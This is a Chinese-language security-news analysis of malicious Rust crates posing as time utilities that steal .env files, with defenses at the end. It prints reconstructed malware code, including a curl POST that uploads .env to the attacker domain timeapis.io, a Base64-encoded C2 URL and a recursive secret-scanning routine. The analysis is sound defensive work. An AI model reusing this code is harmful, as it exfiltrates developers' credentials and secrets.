資訊安全新聞

Rust套件名稱陷阱：
攻擊者如何同時運用Typosquatting與Brandjacking竊取企業憑證

摘要

這份報告對 2026 年初發現的一批惡意 Rust 套件(Crates)進行詳細的技術調查。這些套件，包含 chrono_anchor 和 time_calibrator ，透過偽裝成合法的時間處理工具，企圖竊取敏感的環境變數檔案（ .env 檔案）。分析重點在於多階段的執行流程、利用外部系統工具來隱蔽行蹤的手法，以及欺騙開發者的心理戰術。透過檢視底層的 Rust 程式碼和網路行為，這項研究凸顯了 Rust 生態系中供應鏈攻擊日益精進的演變。此外，我們也探討這些攻擊對現代軟體開發實務的更廣泛影響，以及建立更強健的依賴套件驗證機制的必要性。

Rust套件名稱陷阱：攻擊者如何同時運用Typosquatting與Brandjacking竊取企業憑證 | 資訊安全新聞

1. 簡介：Rust 中的供應鏈威脅

Rust 程式語言因其記憶體安全與高效能特性而廣受歡迎。然而，它的日益普及也使得 crates.io 套件註冊中心成為供應鏈攻擊的主要目標 ^[1] 。這類攻擊經常利用 typosquatting （註冊與知名套件名稱相似的套件）或 brandjacking （惡意套件使用聽起來像既有生態系合法擴充功能的名稱）的手法 ^[2] 。

在此次分析的攻擊活動中，Threat actor 發布了幾個偽裝成時間相關工具的套件。這些套件號稱提供「無需 NTP 的本機時間校正」等功能，這對於在網路受限環境或 CI/CD 流程中工作的開發者來說，是個看似合理的應用場景 ^[1] 。這種策略性的定位降低了開發者在初步審查時的戒心，使得惡意程式碼得以被整合進合法的專案中。Threat actor 特別鎖定那些可能正在尋找標準函式庫或熱門套件中尚未提供的特殊工具的開發者，利用了開源社群中固有的信任。這種心理操縱是現代供應鏈攻擊的關鍵組成部分，其中人為因素往往是安全鏈中最薄弱的一環。

套件名稱	攻擊策略	模仿的合法套件
`dnp3times`	Typosquatting	`dnp3time`
`chrono_anchor`	Brandjacking	`chrono`
`time_calibrator`	偽裝工具	無（通用名稱）

2. 技術執行流程

這些套件中的惡意邏輯通常隱藏在看似例行程式的模組中。例如，在 chrono_anchor 裡，外洩程式碼位於 guard.rs ，並由那些看似執行選擇性同步(Optional synchronization)或參數驗證(Parameter validation)的函數觸發 ^[1] 。

graph TD A[Crate Execution] --> B{Trigger Function} B -->|run_optional_syncs| C[Spawn Background Thread 1] B -->|run_optional_syncs| D[Spawn Background Thread 2] C --> E[Generate Cover Traffic] E --> F[HTTPS GET to timeapi.io] D --> G[Wait 1 Second] G --> H[Construct Exfiltration URL] H --> I[HTTP POST to timeapis.io] I --> J[Upload .env File]

2.1 掩護流量生成

為了躲避網路監控工具的偵測，該套件會先生成「無害」的流量。它向一個合法的時間 API 服務發送 HTTPS 請求。這建立了預期行為的基準線，使後續的惡意請求看起來像是正常操作的一部分 ^[1] 。

// Program 1: Cover Traffic Mechanism
const REF_HOST: &str = "timeapi";
const REF_PATH: &str = "/api/Time/current/zone?timeZone=UTC";
fn fetch_ref_background() {
    std::thread::spawn(|| {
        // Construct a legitimate-looking URL: https://timeapi.io/...
        let url = format!("https://{}.io{}", REF_HOST, REF_PATH);
        // Execute external 'curl' in silent mode with a 3-second timeout.
        // This mimics a standard network check.
        let _ = std::process::Command::new("curl")
            .args(["-s", "-m", "3", url.as_str()])
            .output();
    });
}

3. 外洩與隱蔽技術

核心的惡意活動是竊取 .env 檔案，該檔案通常包含 API 金鑰、資料庫認證(Credentials)和私有權杖(Private tokens)等敏感機密。Threat actor 在此過程中運用了多種技術來保持隱蔽。

3.1 網域操控與協定降級

外洩端點是透過稍微修改合法主機字串而得。攻擊者在 "timeapi" 後面附加一個字元 ('s')，將資料重新導向到受控網域： timeapis.io ^[1] 。此外，請求從 HTTPS 降級為純文字 HTTP，可能是為了簡化攻擊者的後端基礎設施，或繞過某些 SSL/TLS 檢查層。

// Program 2: Exfiltration Logic
fn submit_snapshot() {
    std::thread::spawn(|| {
        // Introduce a 1-second delay to decouple the malicious request from the cover traffic.
        std::thread::sleep(std::time::Duration::from_secs(1));
        // Derive the malicious endpoint: http://timeapis.io/...
        // Note the 's' appended to REF_HOST and the use of 'http' instead of 'https'.
        let ep = format!("http://{}s.io{}", REF_HOST, REF_PATH);
        // Prepare the multipart form argument to upload the .env file.
        let form_arg = format!("file=@{}", crate::paths::ENV_FILE_PATH);
        // Execute 'curl' to POST the file to the attacker's server.
        let _ = std::process::Command::new("curl")
            .args(["-s", "-X", "POST", ep.as_str(), "-F", form_arg.as_str()])
            .output();
    });
}

3.2 Living Off the Land (LOLBins)

這次攻擊的一個顯著特點是依賴外部系統工具（如 curl ），而不是使用 Rust 原生的網路函式庫（例如 reqwest 或 hyper ）。這種「Living Off the Land」策略減少了套件的依賴項數量，使 Cargo.toml 檔案在自動化掃描器眼中看起來較不可疑 ^[2] 。透過使用 std::process::Command ，惡意軟體利用了預先安裝的工具來執行網路操作，這是高級持續性威脅（Advanced Persistent Threats, APTs）中常見的策略。這種做法也繞過了 Rust 編譯器或僅檢查原生 Rust 程式碼的靜態分析工具可能執行的任何安全檢查。由於 curl 是大多數類 Unix 系統和許多 Windows 環境中的標準工具，它的存在不會立即引起警覺，使其成為隱蔽資料外洩的理想工具。使用外部指令也讓攻擊者能輕鬆修改外洩邏輯，而無需更改核心 Rust 程式碼，為他們的行動提供了一定程度的靈活性。

4. 與其他惡意 Rust 套件的比較分析

在這批套件中觀察到的技術與近期其他使用 Rust 的惡意軟體有相似之處。例如， evm-units 套件使用 Base64 編碼來混淆其命令與控制（C2）網址，並採用特定平台的執行路徑來維持持續性 ^[2] 。

// Program 3: Obfuscation Technique (Reference from similar attacks)
pub fn get_evm_version() -> u8 {
    // Base64 encoded C2 URL to bypass simple string-matching scanners.
    let encoded = "aHR0cHM6Ly9kb3dubG9hZC52aWRlb3RhbGtzLnh5ei9ndWkvNmRhZDMvaWQ9NTI0NDU0NDExMjQyNzk3OCZzZWNyZXQ9TkJ5VVpydXRER29T";
    let input = encoded.as_bytes();
    // Decoding process occurs at runtime.
    let mut reader = DecoderReader::new(input, &general_purpose::STANDARD);
    let mut buffer = Vec::new();
    let _ = io::copy(&mut reader, &mut buffer);
    
    // ... subsequent execution ...
    return 1; // Returns a benign-looking version number.
}

chrono_anchor 專注於透過 curl 立即外洩資料，而像 evm-units 這樣的套件則展示了更複雜的多階段手法，包括遞迴搜尋檔案系統以定位特定高價值目標（如 Ethereum 私鑰） ^[2] 。這個比較揭示了惡意套件之間存在著不同的複雜程度。有些是為了快速、機會主義的資料竊取而設計，而有些則是針對高價值資產的鎖定式攻擊的一部分。所有這些攻擊的共同點是對開發者環境的利用，該環境通常不如生產伺服器受到嚴密保護，但卻包含高度敏感的資訊。針對特定檔案副檔名（如 .rs 或 .env ）的能力顯示，攻擊者對開發者的工作流程以及最有價值的資料可能儲存在何處有深入的了解。

// Program 4: Recursive File Search (Reference from similar attacks)
pub async fn scan_for_secrets<P: AsRef<Path>>(dir_path: P) -> Result<(), Box<dyn std::error::Error>> {
    let path = dir_path.as_ref();
    // Target files with .rs extension where developers might hardcode keys.
    if path.is_file() && path.extension().map_or(false, |ext| ext == "rs") {
        self.process_file(path).await?;
        return Ok(());
    }
    if path.is_dir() {
        for entry in fs::read_dir(path)? {
            // Recursively traverse directories.
            let entry = entry?;
            Box::pin(self.scan_for_secrets(entry.path())).await?;
        }
    }
    Ok(())
}

5. 緩解措施與防禦策略

防禦供應鏈攻擊需要多層次的方法，結合自動化工具與人工監督。開發者不應僅依賴套件註冊中心的聲譽或下載次數，因為這些指標很容易被攻擊者操縱。一套全面的安全策略必須涵蓋依賴項的完整生命週期，從初始選擇到後續維護。主要的防禦措施包括：

依賴項稽核： 定期使用 Sonatype Lifecycle 等工具檢查第三方套件中已知的漏洞 ^[1] 。
網路出口過濾： 限制 CI/CD 環境的對外網路存取，僅允許連線至已知良好的端點。這能防止透過 curl 將資料外洩至 timeapis.io 。
程式碼審查： 對新的或不熟悉的第三方套件(Software Composition Analysis，SCA)進行人工檢查或使用靜態程式碼分析工具(SAST)，特別關注 build.rs 腳本以及任何使用 std::process::Command 的地方。
環境機密管理： 避免將敏感資訊儲存在專案根目錄的 .env 檔案中。應使用專用的機密管理服務（例如 AWS Secrets Manager、HashiCorp Vault）。

6. 結論

針對 2026 年 Rust 惡意套件事件的技術調查顯示，供應鏈攻擊手法已出現複雜的轉變，從單純的 typosquatting 進化到結合複雜的 brandjacking 與心理操縱。這些惡意套件透過偽裝成在受限環境中不可或缺的時間處理工具，成功降低了開發者的戒心。其核心外洩機制展現了高度的運作安全意識，包含利用 cover traffic 來掩蓋惡意的 HTTP POST 請求，以及策略性地「Living Off the Land」，依賴預先安裝的系統工具（如 curl ）。這種手法能有效繞過傳統僅專注於原生 Rust 依賴項的靜態分析工具。此外，與先前威脅（如 evm-units ）的比較分析，凸顯了惡意軟體持續演進的光譜，從機會主義式的機密竊取，到針對高價值加密資產進行遞迴式檔案系統搜尋的鎖定攻擊。最終，這項研究強調了 Rust 生態系的安全，不僅取決於語言本身的記憶體安全性，更有賴於嚴謹的多層次依賴項稽核，以及嚴格網路出口過濾機制的落實。開發者必須從對套件註冊中心的隱性信任模式，轉向持續驗證的模式，才能有效緩解日益嚴峻的複雜供應鏈入侵風險。

摘要